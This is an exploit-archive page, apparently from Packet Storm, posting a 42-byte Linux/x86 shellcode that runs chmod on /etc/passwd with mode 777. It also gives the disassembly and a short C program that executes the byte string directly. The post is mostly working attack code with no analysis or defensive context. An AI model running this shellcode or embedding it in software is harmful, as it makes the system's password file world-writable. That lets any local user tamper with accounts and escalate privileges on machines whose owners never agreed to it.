Twenty Year Anniversary

Linux/x86 chmod('/etc/passwd','777') Shellcode

Linux/x86 chmod('/etc/passwd','777') Shellcode
Posted Jun 19, 2015
Authored by Mohammad Reza Espargham

42 bytes small Linux/x86 chmod('/etc/passwd','777') shellcode.

tags | x86, shellcode
systems | linux
MD5 | f8567828e24918d9b326a6ae3dceadd6

Linux/x86 chmod('/etc/passwd','777') Shellcode

Change Mirror Download
/*
# Title: Linux/x86 chmod('/etc/passwd','777') - shellcode 42 bytes
# Platform: linux/x86_64
# Date: 2015-06-15
# Author: Mohammad Reza Espargham
# Linkedin : https://ir.linkedin.com/in/rezasp
# E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website : www.reza.es
# Twitter : https://twitter.com/rezesp
# FaceBook : https://www.facebook.com/mohammadreza.espargham


Disassembly of section .text:

00000000 <.text>:
0: 6a 0f push $0xf
2: 58 pop %eax
3: 68 90 90 ff 01 push $0x1ff9090
8: 59 pop %ecx
9: c1 e9 10 shr $0x10,%ecx
c: 68 90 73 77 64 push $0x64777390
11: 5b pop %ebx
12: c1 eb 08 shr $0x8,%ebx
15: 53 push %ebx
16: 68 2f 70 61 73 push $0x7361702f
1b: 68 2f 65 74 63 push $0x6374652f
20: 89 e3 mov %esp,%ebx
22: cd 80 int $0x80
24: b0 01 mov $0x1,%al
26: b3 01 mov $0x1,%bl
28: cd 80 int $0x80
*/

#include <stdio.h>
#include <string.h>
int main(){
unsigned char shellcode[]=
"\x6a\x0f\x58\x68\x90\x90\xff\x01\x59\xc1\xe9\x10\x68\x90\x73\x77\x64\x5b\xc1\xeb\x08\x53\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63\x89\xe3\xcd\x80\xb0\x01\xb3\x01\xcd\x80";
fprintf(stdout,"Length: %d\n\n",strlen(shellcode));
(*(void(*)()) shellcode)();
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    3 Files
  • 3
    Sep 3rd
    15 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    18 Files
  • 6
    Sep 6th
    18 Files
  • 7
    Sep 7th
    15 Files
  • 8
    Sep 8th
    2 Files
  • 9
    Sep 9th
    2 Files
  • 10
    Sep 10th
    16 Files
  • 11
    Sep 11th
    17 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    29 Files
  • 14
    Sep 14th
    21 Files
  • 15
    Sep 15th
    3 Files
  • 16
    Sep 16th
    1 Files
  • 17
    Sep 17th
    15 Files
  • 18
    Sep 18th
    16 Files
  • 19
    Sep 19th
    29 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close